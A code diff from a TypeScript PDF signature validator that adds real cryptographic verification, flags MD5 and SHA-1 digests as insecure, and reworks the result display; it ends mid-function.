const fileDisplayArea = getElement<HTMLDivElement>('file-display-area');
|
||||
if (!fileDisplayArea || !state.pdfFile) return;
|
||||
|
||||
fileDisplayArea.innerHTML = '';
|
||||
fileDisplayArea.innerHTML = '';
|
||||
|
||||
const fileDiv = document.createElement('div');
|
||||
fileDiv.className = 'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
|
||||
const fileDiv = document.createElement('div');
|
||||
fileDiv.className =
|
||||
'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
|
||||
|
||||
const infoContainer = document.createElement('div');
|
||||
infoContainer.className = 'flex flex-col flex-1 min-w-0';
|
||||
const infoContainer = document.createElement('div');
|
||||
infoContainer.className = 'flex flex-col flex-1 min-w-0';
|
||||
|
||||
const nameSpan = document.createElement('div');
|
||||
nameSpan.className = 'truncate font-medium text-gray-200 text-sm mb-1';
|
||||
nameSpan.textContent = state.pdfFile.name;
|
||||
const nameSpan = document.createElement('div');
|
||||
nameSpan.className = 'truncate font-medium text-gray-200 text-sm mb-1';
|
||||
nameSpan.textContent = state.pdfFile.name;
|
||||
|
||||
const metaSpan = document.createElement('div');
|
||||
metaSpan.className = 'text-xs text-gray-400';
|
||||
metaSpan.textContent = formatBytes(state.pdfFile.size);
|
||||
const metaSpan = document.createElement('div');
|
||||
metaSpan.className = 'text-xs text-gray-400';
|
||||
metaSpan.textContent = formatBytes(state.pdfFile.size);
|
||||
|
||||
infoContainer.append(nameSpan, metaSpan);
|
||||
infoContainer.append(nameSpan, metaSpan);
|
||||
|
||||
const removeBtn = document.createElement('button');
|
||||
removeBtn.className = 'ml-4 text-red-400 hover:text-red-300 flex-shrink-0';
|
||||
removeBtn.innerHTML = '<i data-lucide="trash-2" class="w-4 h-4"></i>';
|
||||
removeBtn.onclick = () => resetState();
|
||||
const removeBtn = document.createElement('button');
|
||||
removeBtn.className = 'ml-4 text-red-400 hover:text-red-300 flex-shrink-0';
|
||||
removeBtn.innerHTML = '<i data-lucide="trash-2" class="w-4 h-4"></i>';
|
||||
removeBtn.onclick = () => resetState();
|
||||
|
||||
fileDiv.append(infoContainer, removeBtn);
|
||||
fileDisplayArea.appendChild(fileDiv);
|
||||
createIcons({ icons });
|
||||
fileDiv.append(infoContainer, removeBtn);
|
||||
fileDisplayArea.appendChild(fileDiv);
|
||||
createIcons({ icons });
|
||||
}
|
||||
|
||||
function handleCertUpload(e: Event): void {
|
||||
const input = e.target as HTMLInputElement;
|
||||
if (input.files && input.files.length > 0) {
|
||||
handleCertFile(input.files[0]);
|
||||
}
|
||||
const input = e.target as HTMLInputElement;
|
||||
if (input.files && input.files.length > 0) {
|
||||
handleCertFile(input.files[0]);
|
||||
}
|
||||
}
|
||||
|
||||
async function handleCertFile(file: File): Promise<void> {
|
||||
const validExtensions = ['.pem', '.crt', '.cer', '.der'];
|
||||
const hasValidExtension = validExtensions.some(ext => file.name.toLowerCase().endsWith(ext));
|
||||
const validExtensions = ['.pem', '.crt', '.cer', '.der'];
|
||||
const hasValidExtension = validExtensions.some((ext) =>
|
||||
file.name.toLowerCase().endsWith(ext)
|
||||
);
|
||||
|
||||
if (!hasValidExtension) {
|
||||
showAlert('Invalid Certificate', 'Please select a .pem, .crt, .cer, or .der certificate file.');
|
||||
return;
|
||||
if (!hasValidExtension) {
|
||||
showAlert(
|
||||
'Invalid Certificate',
|
||||
'Please select a .pem, .crt, .cer, or .der certificate file.'
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
resetCertState();
|
||||
state.trustedCertFile = file;
|
||||
|
||||
try {
|
||||
const content = await file.text();
|
||||
|
||||
if (content.includes('-----BEGIN CERTIFICATE-----')) {
|
||||
state.trustedCert = forge.pki.certificateFromPem(content);
|
||||
} else {
|
||||
const bytes = new Uint8Array(
|
||||
(await readFileAsArrayBuffer(file)) as ArrayBuffer
|
||||
);
|
||||
const derString = String.fromCharCode.apply(null, Array.from(bytes));
|
||||
const asn1 = forge.asn1.fromDer(derString);
|
||||
state.trustedCert = forge.pki.certificateFromAsn1(asn1);
|
||||
}
|
||||
|
||||
updateCertDisplay();
|
||||
|
||||
if (state.pdfBytes) {
|
||||
await validateSignatures();
|
||||
}
|
||||
} catch (error) {
|
||||
console.error('Error parsing certificate:', error);
|
||||
showAlert('Invalid Certificate', 'Failed to parse the certificate file.');
|
||||
resetCertState();
|
||||
state.trustedCertFile = file;
|
||||
|
||||
try {
|
||||
const content = await file.text();
|
||||
|
||||
if (content.includes('-----BEGIN CERTIFICATE-----')) {
|
||||
state.trustedCert = forge.pki.certificateFromPem(content);
|
||||
} else {
|
||||
const bytes = new Uint8Array(await readFileAsArrayBuffer(file) as ArrayBuffer);
|
||||
const derString = String.fromCharCode.apply(null, Array.from(bytes));
|
||||
const asn1 = forge.asn1.fromDer(derString);
|
||||
state.trustedCert = forge.pki.certificateFromAsn1(asn1);
|
||||
}
|
||||
|
||||
updateCertDisplay();
|
||||
|
||||
if (state.pdfBytes) {
|
||||
await validateSignatures();
|
||||
}
|
||||
} catch (error) {
|
||||
console.error('Error parsing certificate:', error);
|
||||
showAlert('Invalid Certificate', 'Failed to parse the certificate file.');
|
||||
resetCertState();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function updateCertDisplay(): void {
|
||||
const certDisplayArea = getElement<HTMLDivElement>('cert-display-area');
|
||||
if (!certDisplayArea || !state.trustedCertFile || !state.trustedCert) return;
|
||||
const certDisplayArea = getElement<HTMLDivElement>('cert-display-area');
|
||||
if (!certDisplayArea || !state.trustedCertFile || !state.trustedCert) return;
|
||||
|
||||
certDisplayArea.innerHTML = '';
|
||||
certDisplayArea.innerHTML = '';
|
||||
|
||||
const certDiv = document.createElement('div');
|
||||
certDiv.className = 'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
|
||||
const certDiv = document.createElement('div');
|
||||
certDiv.className =
|
||||
'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
|
||||
|
||||
const infoContainer = document.createElement('div');
|
||||
infoContainer.className = 'flex flex-col flex-1 min-w-0';
|
||||
const infoContainer = document.createElement('div');
|
||||
infoContainer.className = 'flex flex-col flex-1 min-w-0';
|
||||
|
||||
const nameSpan = document.createElement('div');
|
||||
nameSpan.className = 'truncate font-medium text-gray-200 text-sm mb-1';
|
||||
const nameSpan = document.createElement('div');
|
||||
nameSpan.className = 'truncate font-medium text-gray-200 text-sm mb-1';
|
||||
|
||||
const cn = state.trustedCert.subject.getField('CN');
|
||||
nameSpan.textContent = cn?.value as string || state.trustedCertFile.name;
|
||||
const cn = state.trustedCert.subject.getField('CN');
|
||||
nameSpan.textContent = (cn?.value as string) || state.trustedCertFile.name;
|
||||
|
||||
const metaSpan = document.createElement('div');
|
||||
metaSpan.className = 'text-xs text-green-400';
|
||||
metaSpan.innerHTML = '<i data-lucide="check-circle" class="inline w-3 h-3 mr-1"></i>Trusted certificate loaded';
|
||||
const metaSpan = document.createElement('div');
|
||||
metaSpan.className = 'text-xs text-green-400';
|
||||
metaSpan.innerHTML =
|
||||
'<i data-lucide="check-circle" class="inline w-3 h-3 mr-1"></i>Trusted certificate loaded';
|
||||
|
||||
infoContainer.append(nameSpan, metaSpan);
|
||||
infoContainer.append(nameSpan, metaSpan);
|
||||
|
||||
const removeBtn = document.createElement('button');
|
||||
removeBtn.className = 'ml-4 text-red-400 hover:text-red-300 flex-shrink-0';
|
||||
removeBtn.innerHTML = '<i data-lucide="trash-2" class="w-4 h-4"></i>';
|
||||
removeBtn.onclick = async () => {
|
||||
resetCertState();
|
||||
if (state.pdfBytes) {
|
||||
await validateSignatures();
|
||||
}
|
||||
};
|
||||
const removeBtn = document.createElement('button');
|
||||
removeBtn.className = 'ml-4 text-red-400 hover:text-red-300 flex-shrink-0';
|
||||
removeBtn.innerHTML = '<i data-lucide="trash-2" class="w-4 h-4"></i>';
|
||||
removeBtn.onclick = async () => {
|
||||
resetCertState();
|
||||
if (state.pdfBytes) {
|
||||
await validateSignatures();
|
||||
}
|
||||
};
|
||||
|
||||
certDiv.append(infoContainer, removeBtn);
|
||||
certDisplayArea.appendChild(certDiv);
|
||||
createIcons({ icons });
|
||||
certDiv.append(infoContainer, removeBtn);
|
||||
certDisplayArea.appendChild(certDiv);
|
||||
createIcons({ icons });
|
||||
}
|
||||
|
||||
async function validateSignatures(): Promise<void> {
|
||||
if (!state.pdfBytes) return;
|
||||
if (!state.pdfBytes) return;
|
||||
|
||||
showLoader('Analyzing signatures...');
|
||||
showLoader('Analyzing signatures...');
|
||||
|
||||
try {
|
||||
state.results = await validatePdfSignatures(state.pdfBytes, state.trustedCert ?? undefined);
|
||||
displayResults();
|
||||
} catch (error) {
|
||||
console.error('Validation error:', error);
|
||||
showAlert('Error', 'Failed to validate signatures. The file may be corrupted.');
|
||||
} finally {
|
||||
hideLoader();
|
||||
}
|
||||
try {
|
||||
state.results = await validatePdfSignatures(
|
||||
state.pdfBytes,
|
||||
state.trustedCert ?? undefined
|
||||
);
|
||||
displayResults();
|
||||
} catch (error) {
|
||||
console.error('Validation error:', error);
|
||||
showAlert(
|
||||
'Error',
|
||||
'Failed to validate signatures. The file may be corrupted.'
|
||||
);
|
||||
} finally {
|
||||
hideLoader();
|
||||
}
|
||||
}
|
||||
|
||||
function displayResults(): void {
|
||||
const resultsSection = getElement<HTMLDivElement>('results-section');
|
||||
const resultsContainer = getElement<HTMLDivElement>('results-container');
|
||||
const resultsSection = getElement<HTMLDivElement>('results-section');
|
||||
const resultsContainer = getElement<HTMLDivElement>('results-container');
|
||||
|
||||
if (!resultsSection || !resultsContainer) return;
|
||||
if (!resultsSection || !resultsContainer) return;
|
||||
|
||||
resultsContainer.innerHTML = '';
|
||||
resultsSection.classList.remove('hidden');
|
||||
resultsContainer.innerHTML = '';
|
||||
resultsSection.classList.remove('hidden');
|
||||
|
||||
if (state.results.length === 0) {
|
||||
resultsContainer.innerHTML = `
|
||||
if (state.results.length === 0) {
|
||||
resultsContainer.innerHTML = `
|
||||
<div class="bg-gray-700 rounded-lg p-6 text-center border border-gray-600">
|
||||
<i data-lucide="file-x" class="w-12 h-12 mx-auto mb-4 text-gray-400"></i>
|
||||
<h3 class="text-lg font-semibold text-white mb-2">No Signatures Found</h3>
|
||||
<p class="text-gray-400">This PDF does not contain any digital signatures.</p>
|
||||
</div>
|
||||
`;
|
||||
createIcons({ icons });
|
||||
return;
|
||||
}
|
||||
createIcons({ icons });
|
||||
return;
|
||||
}
|
||||
|
||||
const summaryDiv = document.createElement('div');
|
||||
summaryDiv.className = 'mb-4 p-3 bg-gray-700 rounded-lg border border-gray-600';
|
||||
const summaryDiv = document.createElement('div');
|
||||
summaryDiv.className =
|
||||
'mb-4 p-3 bg-gray-700 rounded-lg border border-gray-600';
|
||||
|
||||
const validCount = state.results.filter(r => r.isValid && !r.isExpired).length;
|
||||
const trustVerified = state.trustedCert ? state.results.filter(r => r.isTrusted).length : 0;
|
||||
const validCount = state.results.filter(
|
||||
(r) => r.isValid && !r.isExpired
|
||||
).length;
|
||||
const trustVerified = state.trustedCert
|
||||
? state.results.filter((r) => r.isTrusted).length
|
||||
: 0;
|
||||
|
||||
let summaryHtml = `
|
||||
let summaryHtml = `
|
||||
<p class="text-gray-300">
|
||||
<span class="font-semibold text-white">${state.results.length}</span>
|
||||
signature${state.results.length > 1 ? 's' : ''} found
|
||||
@@ -311,69 +337,87 @@ function displayResults(): void {
|
||||
</p>
|
||||
`;
|
||||
|
||||
if (state.trustedCert) {
|
||||
summaryHtml += `
|
||||
if (state.trustedCert) {
|
||||
summaryHtml += `
|
||||
<p class="text-xs text-gray-400 mt-1">
|
||||
<i data-lucide="shield-check" class="inline w-3 h-3 mr-1"></i>
|
||||
Trust verification: ${trustVerified}/${state.results.length} signatures verified against custom certificate
|
||||
</p>
|
||||
`;
|
||||
}
|
||||
}
|
||||
|
||||
summaryDiv.innerHTML = summaryHtml;
|
||||
resultsContainer.appendChild(summaryDiv);
|
||||
summaryDiv.innerHTML = summaryHtml;
|
||||
resultsContainer.appendChild(summaryDiv);
|
||||
|
||||
state.results.forEach((result, index) => {
|
||||
const card = createSignatureCard(result, index);
|
||||
resultsContainer.appendChild(card);
|
||||
});
|
||||
state.results.forEach((result, index) => {
|
||||
const card = createSignatureCard(result, index);
|
||||
resultsContainer.appendChild(card);
|
||||
});
|
||||
|
||||
createIcons({ icons });
|
||||
createIcons({ icons });
|
||||
}
|
||||
|
||||
function createSignatureCard(result: SignatureValidationResult, index: number): HTMLElement {
|
||||
const card = document.createElement('div');
|
||||
card.className = 'bg-gray-700 rounded-lg p-4 border border-gray-600 mb-4';
|
||||
function createSignatureCard(
|
||||
result: SignatureValidationResult,
|
||||
index: number
|
||||
): HTMLElement {
|
||||
const card = document.createElement('div');
|
||||
card.className = 'bg-gray-700 rounded-lg p-4 border border-gray-600 mb-4';
|
||||
|
||||
let statusColor = 'text-green-400';
|
||||
let statusIcon = 'check-circle';
|
||||
let statusText = 'Valid Signature';
|
||||
let statusColor = 'text-green-400';
|
||||
let statusIcon = 'check-circle';
|
||||
let statusText = 'Valid Signature';
|
||||
|
||||
if (!result.isValid) {
|
||||
statusColor = 'text-red-400';
|
||||
statusIcon = 'x-circle';
|
||||
statusText = 'Invalid Signature';
|
||||
} else if (result.isExpired) {
|
||||
statusColor = 'text-yellow-400';
|
||||
statusIcon = 'alert-triangle';
|
||||
statusText = 'Certificate Expired';
|
||||
} else if (result.isSelfSigned) {
|
||||
statusColor = 'text-yellow-400';
|
||||
statusIcon = 'alert-triangle';
|
||||
statusText = 'Self-Signed Certificate';
|
||||
if (!result.isValid) {
|
||||
if (result.cryptoVerificationStatus === 'unsupported') {
|
||||
statusColor = 'text-yellow-400';
|
||||
statusIcon = 'alert-triangle';
|
||||
statusText = 'Unverified — Unsupported Signature Algorithm';
|
||||
} else {
|
||||
statusColor = 'text-red-400';
|
||||
statusIcon = 'x-circle';
|
||||
statusText =
|
||||
result.cryptoVerified === false
|
||||
? 'Invalid — Cryptographic Verification Failed'
|
||||
: 'Invalid Signature';
|
||||
}
|
||||
} else if (result.usesInsecureDigest) {
|
||||
statusColor = 'text-red-400';
|
||||
statusIcon = 'x-circle';
|
||||
statusText = 'Insecure Digest (MD5 / SHA-1)';
|
||||
} else if (result.isExpired) {
|
||||
statusColor = 'text-yellow-400';
|
||||
statusIcon = 'alert-triangle';
|
||||
statusText = 'Certificate Expired';
|
||||
} else if (result.isSelfSigned) {
|
||||
statusColor = 'text-yellow-400';
|
||||
statusIcon = 'alert-triangle';
|
||||
statusText = 'Self-Signed Certificate';
|
||||
}
|
||||
|
||||
const formatDate = (date: Date) => {
|
||||
if (!date || date.getTime() === 0) return 'Unknown';
|
||||
return date.toLocaleDateString(undefined, {
|
||||
year: 'numeric',
|
||||
month: 'short',
|
||||
day: 'numeric',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit'
|
||||
});
|
||||
};
|
||||
const formatDate = (date: Date) => {
|
||||
if (!date || date.getTime() === 0) return 'Unknown';
|
||||
return date.toLocaleDateString(undefined, {
|
||||
year: 'numeric',
|
||||
month: 'short',
|
||||
day: 'numeric',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
});
|
||||
};
|
||||
|
||||
let trustBadge = '';
|
||||
if (state.trustedCert) {
|
||||
if (result.isTrusted) {
|
||||
trustBadge = '<span class="text-xs bg-green-900 text-green-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-check" class="inline w-3 h-3 mr-1"></i>Trusted</span>';
|
||||
} else {
|
||||
trustBadge = '<span class="text-xs bg-gray-600 text-gray-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-x" class="inline w-3 h-3 mr-1"></i>Not in trust chain</span>';
|
||||
}
|
||||
let trustBadge = '';
|
||||
if (state.trustedCert) {
|
||||
if (result.isTrusted) {
|
||||
trustBadge =
|
||||
'<span class="text-xs bg-green-900 text-green-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-check" class="inline w-3 h-3 mr-1"></i>Trusted</span>';
|
||||
} else {
|
||||
trustBadge =
|
||||
'<span class="text-xs bg-gray-600 text-gray-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-x" class="inline w-3 h-3 mr-1"></i>Not in trust chain</span>';
|
||||
}
|
||||
}
|
||||
|
||||
card.innerHTML = `
|
||||
card.innerHTML = `
|
||||
<div class="flex items-start justify-between mb-4">
|
||||
<div class="flex items-center gap-3">
|
||||
<i data-lucide="${statusIcon}" class="w-6 h-6 ${statusColor}"></i>
|
||||
@@ -383,12 +427,13 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
|
||||
</div>
|
||||
</div>
|
||||
<div class="flex items-center">
|
||||
${result.coverageStatus === 'full'
|
||||
? '<span class="text-xs bg-green-900 text-green-300 px-2 py-1 rounded">Full Coverage</span>'
|
||||
: result.coverageStatus === 'partial'
|
||||
? '<span class="text-xs bg-yellow-900 text-yellow-300 px-2 py-1 rounded">Partial Coverage</span>'
|
||||
: ''
|
||||
}${trustBadge}
|
||||
${
|
||||
result.coverageStatus === 'full'
|
||||
? '<span class="text-xs bg-green-900 text-green-300 px-2 py-1 rounded">Full Coverage</span>'
|
||||
: result.coverageStatus === 'partial'
|
||||
? '<span class="text-xs bg-yellow-900 text-yellow-300 px-2 py-1 rounded">Partial Coverage</span>'
|
||||
: ''
|
||||
}${trustBadge}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -407,12 +452,16 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
|
||||
</div>
|
||||
</div>
|
||||
|
||||
${result.signatureDate ? `
|
||||
${
|
||||
result.signatureDate
|
||||
? `
|
||||
<div>
|
||||
<p class="text-gray-400">Signed On</p>
|
||||
<p class="text-white">${formatDate(result.signatureDate)}</p>
|
||||
</div>
|
||||
` : ''}
|
||||
`
|
||||
: ''
|
||||
}
|
||||
|
||||
<div class="grid grid-cols-1 md:grid-cols-2 gap-4">
|
||||
<div>
|
||||
@@ -425,19 +474,27 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
|
||||
</div>
|
||||
</div>
|
||||
|
||||
${result.reason ? `
|
||||
${
|
||||
result.reason
|
||||
? `
|
||||
<div>
|
||||
<p class="text-gray-400">Reason</p>
|
||||
<p class="text-white">${escapeHtml(result.reason)}</p>
|
||||
</div>
|
||||
` : ''}
|
||||
`
|
||||
: ''
|
||||
}
|
||||
|
||||
${result.location ? `
|
||||
${
|
||||
result.location
|
||||
? `
|
||||
<div>
|
||||
<p class="text-gray-400">Location</p>
|
||||
<p class="text-white">${escapeHtml(result.location)}</p>
|
||||
</div>
|
||||
` : ''}
|
||||
`
|
||||
: ''
|
||||
}
|
||||
|
||||
<details class="mt-2">
|
||||
<summary class="cursor-pointer text-indigo-400 hover:text-indigo-300 text-sm">
|
||||
@@ -448,22 +505,23 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
|
||||
<p><span class="text-gray-400">Digest Algorithm:</span> <span class="text-gray-300">${escapeHtml(result.algorithms.digest)}</span></p>
|
||||
<p><span class="text-gray-400">Signature Algorithm:</span> <span class="text-gray-300">${escapeHtml(result.algorithms.signature)}</span></p>
|
||||
${result.errorMessage ? `<p class="text-red-400">Error: ${escapeHtml(result.errorMessage)}</p>` : ''}
|
||||
${result.unsupportedAlgorithmReason ? `<p class="text-yellow-300">${escapeHtml(result.unsupportedAlgorithmReason)}</p>` : ''}
|
||||
</div>
|
||||
</details>
|
||||
</div>
|
||||
`;
|
||||
|
||||
return card;
|
||||
return card;
|
||||
}
|
||||
|
||||
function escapeHtml(str: string): string {
|
||||
const div = document.createElement('div');
|
||||
div.textContent = str;
|
||||
return div.innerHTML;
|
||||
const div = document.createElement('div');
|
||||
div.textContent = str;
|
||||
return div.innerHTML;
|
||||
}
|
||||
|
||||
if (document.readyState === 'loading') {
|
||||
document.addEventListener('DOMContentLoaded', initializePage);
|
||||
document.addEventListener('DOMContentLoaded', initializePage);
|
||||
} else {
|
||||
initializePage();
|
||||
initializePage();
|
||||
}
|
||||
|
||||
@@ -1,6 +1,11 @@
|
||||
import forge from 'node-forge';
|
||||
import { ExtractedSignature, SignatureValidationResult } from '@/types';
|
||||
|
||||
const INSECURE_DIGEST_OIDS = new Set<string>([
|
||||
'1.2.840.113549.2.5',
|
||||
'1.3.14.3.2.26',
|
||||
]);
|
||||
|
||||
export function extractSignatures(pdfBytes: Uint8Array): ExtractedSignature[] {
|
||||
const signatures: ExtractedSignature[] = [];
|
||||
const pdfString = new TextDecoder('latin1').decode(pdfBytes);
|
||||
@@ -70,11 +75,11 @@ export function extractSignatures(pdfBytes: Uint8Array): ExtractedSignature[] {
|
||||
return signatures;
|
||||
}
|
||||
|
||||
export function validateSignature(
|
||||
export async function validateSignature(
|
||||
signature: ExtractedSignature,
|
||||
pdfBytes: Uint8Array,
|
||||
trustedCert?: forge.pki.Certificate
|
||||
): SignatureValidationResult {
|
||||
): Promise<SignatureValidationResult> {
|
||||
const result: SignatureValidationResult = {
|
||||
signatureIndex: signature.index,
|
||||
isValid: false,
|
||||
@@ -104,7 +109,10 @@ export function validateSignature(
|
||||
asn1
|
||||
) as forge.pkcs7.PkcsSignedData & {
|
||||
rawCapture?: {
|
||||
authenticatedAttributes?: Array<{ type: string; value: Date }>;
|
||||
digestAlgorithm?: string;
|
||||
authenticatedAttributes?: forge.asn1.Asn1[];
|
||||
signature?: string;
|
||||
signatureAlgorithm?: forge.asn1.Asn1[];
|
||||
};
|
||||
};
|
||||
|
||||
@@ -161,21 +169,47 @@ export function validateSignature(
|
||||
}
|
||||
}
|
||||
|
||||
const signerInfoFields = extractSignerInfoFields(p7);
|
||||
const digestOid = signerInfoFields?.digestOid;
|
||||
|
||||
result.algorithms = {
|
||||
digest: getDigestAlgorithmName(signerCert.siginfo?.algorithmOid || ''),
|
||||
digest:
|
||||
(digestOid && getDigestAlgorithmName(digestOid)) ||
|
||||
getDigestAlgorithmName(signerCert.siginfo?.algorithmOid || ''),
|
||||
signature: getSignatureAlgorithmName(signerCert.signatureOid || ''),
|
||||
};
|
||||
|
||||
if (digestOid && INSECURE_DIGEST_OIDS.has(digestOid)) {
|
||||
result.usesInsecureDigest = true;
|
||||
}
|
||||
|
||||
// Parse signing time if available in signature
|
||||
if (signature.signingTime) {
|
||||
result.signatureDate = new Date(signature.signingTime);
|
||||
} else {
|
||||
// Try to extract from authenticated attributes
|
||||
try {
|
||||
if (p7.rawCapture?.authenticatedAttributes) {
|
||||
for (const attr of p7.rawCapture.authenticatedAttributes) {
|
||||
if (attr.type === forge.pki.oids.signingTime) {
|
||||
result.signatureDate = attr.value;
|
||||
const attrs = p7.rawCapture?.authenticatedAttributes;
|
||||
if (attrs) {
|
||||
for (const attrNode of attrs) {
|
||||
const attrChildren = attrNode.value;
|
||||
if (!Array.isArray(attrChildren) || attrChildren.length < 2)
|
||||
continue;
|
||||
const oidNode = attrChildren[0];
|
||||
const setNode = attrChildren[1];
|
||||
if (!oidNode || oidNode.type !== forge.asn1.Type.OID) continue;
|
||||
const oid = forge.asn1.derToOid(oidNode.value as string);
|
||||
if (oid === forge.pki.oids.signingTime) {
|
||||
const setValue = setNode?.value;
|
||||
if (Array.isArray(setValue) && setValue[0]) {
|
||||
const timeNode = setValue[0];
|
||||
const timeStr = timeNode.value as string;
|
||||
if (typeof timeStr === 'string' && timeStr.length > 0) {
|
||||
result.signatureDate =
|
||||
timeNode.type === forge.asn1.Type.UTCTIME
|
||||
? forge.asn1.utcTimeToDate(timeStr)
|
||||
: forge.asn1.generalizedTimeToDate(timeStr);
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -190,7 +224,6 @@ export function validateSignature(
|
||||
|
||||
if (signature.byteRange && signature.byteRange.length === 4) {
|
||||
const [, len1, start2, len2] = signature.byteRange;
|
||||
const totalCovered = len1 + len2;
|
||||
const expectedEnd = start2 + len2;
|
||||
|
||||
if (expectedEnd === pdfBytes.length) {
|
||||
@@ -200,7 +233,27 @@ export function validateSignature(
|
||||
}
|
||||
}
|
||||
|
||||
result.isValid = true;
|
||||
const verification = await performCryptoVerification(
|
||||
p7,
|
||||
pdfBytes,
|
||||
signature.byteRange,
|
||||
signerCert,
|
||||
signerInfoFields
|
||||
);
|
||||
|
||||
result.cryptoVerified = verification.status === 'verified';
|
||||
result.cryptoVerificationStatus = verification.status;
|
||||
if (verification.status === 'unsupported') {
|
||||
result.unsupportedAlgorithmReason = verification.reason;
|
||||
} else if (verification.status === 'failed') {
|
||||
result.errorMessage =
|
||||
verification.reason || 'Cryptographic verification failed';
|
||||
}
|
||||
|
||||
result.isValid =
|
||||
verification.status === 'verified' &&
|
||||
result.coverageStatus !== 'unknown' &&
|
||||
!result.usesInsecureDigest;
|
||||
} catch (e) {
|
||||
result.errorMessage =
|
||||
e instanceof Error ? e.message : 'Failed to parse signature';
|
||||
@@ -214,7 +267,9 @@ export async function validatePdfSignatures(
|
||||
trustedCert?: forge.pki.Certificate
|
||||
): Promise<SignatureValidationResult[]> {
|
||||
const signatures = extractSignatures(pdfBytes);
|
||||
return signatures.map((sig) => validateSignature(sig, pdfBytes, trustedCert));
|
||||
return Promise.all(
|
||||
signatures.map((sig) => validateSignature(sig, pdfBytes, trustedCert))
|
||||
);
|
||||
}
|
||||
|
||||
export function countSignatures(pdfBytes: Uint8Array): number {
|
||||
@@ -262,3 +317,490 @@ function getSignatureAlgorithmName(oid: string): string {
|
||||
};
|
||||
return signatureAlgorithms[oid] || oid || 'Unknown';
|
||||
}
|
||||
|
||||
interface SignerInfoFields {
|
||||
digestOid: string;
|
||||
authAttrs: forge.asn1.Asn1[] | null;
|
||||
signatureBytes: string;
|
||||
}
|
||||
|
||||
function extractSignerInfoFields(
|
||||
p7: forge.pkcs7.PkcsSignedData & {
|
||||
rawCapture?: {
|
||||
digestAlgorithm?: string;
|
||||
authenticatedAttributes?: forge.asn1.Asn1[];
|
||||
signature?: string;
|
||||
};
|
||||
}
|
||||
): SignerInfoFields | null {
|
||||
const rc = p7.rawCapture;
|
||||
if (!rc) return null;
|
||||
const digestAlgorithmBytes = rc.digestAlgorithm;
|
||||
const signatureBytes = rc.signature;
|
||||
if (typeof digestAlgorithmBytes !== 'string' || !signatureBytes) return null;
|
||||
|
||||
return {
|
||||
digestOid: forge.asn1.derToOid(digestAlgorithmBytes),
|
||||
authAttrs: Array.isArray(rc.authenticatedAttributes)
|
||||
? rc.authenticatedAttributes
|
||||
: null,
|
||||
signatureBytes,
|
||||
};
|
||||
}
|
||||
|
||||
function createMd(digestOid: string): forge.md.MessageDigest | null {
|
||||
switch (digestOid) {
|
||||
case forge.pki.oids.sha256:
|
||||
return forge.md.sha256.create();
|
||||
case forge.pki.oids.sha384:
|
||||
return forge.md.sha384.create();
|
||||
case forge.pki.oids.sha512:
|
||||
return forge.md.sha512.create();
|
||||
case forge.pki.oids.sha1:
|
||||
return forge.md.sha1.create();
|
||||
case forge.pki.oids.md5:
|
||||
return forge.md.md5.create();
|
||||
default:
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
function uint8ToLatin1(bytes: Uint8Array): string {
|
||||
let out = '';
|
||||
for (let i = 0; i < bytes.length; i++) {
|
||||
out += String.fromCharCode(bytes[i]);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
type CryptoVerificationResult =
|
||||
| { status: 'verified' }
|
||||
| { status: 'failed'; reason: string }
|
||||
| { status: 'unsupported'; reason: string };
|
||||
|
||||
interface SigScheme {
|
||||
kind: 'rsa-pkcs1' | 'rsa-pss' | 'ecdsa' | 'rsa-raw';
|
||||
hashName: 'SHA-1' | 'SHA-256' | 'SHA-384' | 'SHA-512';
|
||||
pssSaltLength?: number;
|
||||
}
|
||||
|
||||
function latin1ToUint8(str: string): Uint8Array {
|
||||
const out = new Uint8Array(str.length);
|
||||
for (let i = 0; i < str.length; i++) out[i] = str.charCodeAt(i);
|
||||
return out;
|
||||
}
|
||||
|
||||
function hashNameFromOid(oid: string): SigScheme['hashName'] | null {
|
||||
switch (oid) {
|
||||
case '1.3.14.3.2.26':
|
||||
return 'SHA-1';
|
||||
case '2.16.840.1.101.3.4.2.1':
|
||||
return 'SHA-256';
|
||||
case '2.16.840.1.101.3.4.2.2':
|
||||
return 'SHA-384';
|
||||
case '2.16.840.1.101.3.4.2.3':
|
||||
return 'SHA-512';
|
||||
default:
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
function detectSigScheme(
|
||||
signatureAlgorithmArr: forge.asn1.Asn1[] | undefined,
|
||||
digestOid: string
|
||||
): SigScheme | { unsupported: string } {
|
||||
if (!signatureAlgorithmArr || signatureAlgorithmArr.length === 0) {
|
||||
return { unsupported: 'Missing signatureAlgorithm' };
|
||||
}
|
||||
const oidNode = signatureAlgorithmArr[0];
|
||||
if (!oidNode || oidNode.type !== forge.asn1.Type.OID) {
|
||||
return { unsupported: 'Malformed signatureAlgorithm' };
|
||||
}
|
||||
const oid = forge.asn1.derToOid(oidNode.value as string);
|
||||
const implicitHash = hashNameFromOid(digestOid);
|
||||
|
||||
switch (oid) {
|
||||
case '1.2.840.113549.1.1.1':
|
||||
return implicitHash
|
||||
? { kind: 'rsa-pkcs1', hashName: implicitHash }
|
||||
: { unsupported: `Unsupported digest OID ${digestOid}` };
|
||||
case '1.2.840.113549.1.1.5':
|
||||
return { kind: 'rsa-pkcs1', hashName: 'SHA-1' };
|
||||
case '1.2.840.113549.1.1.11':
|
||||
return { kind: 'rsa-pkcs1', hashName: 'SHA-256' };
|
||||
case '1.2.840.113549.1.1.12':
|
||||
return { kind: 'rsa-pkcs1', hashName: 'SHA-384' };
|
||||
case '1.2.840.113549.1.1.13':
|
||||
return { kind: 'rsa-pkcs1', hashName: 'SHA-512' };
|
||||
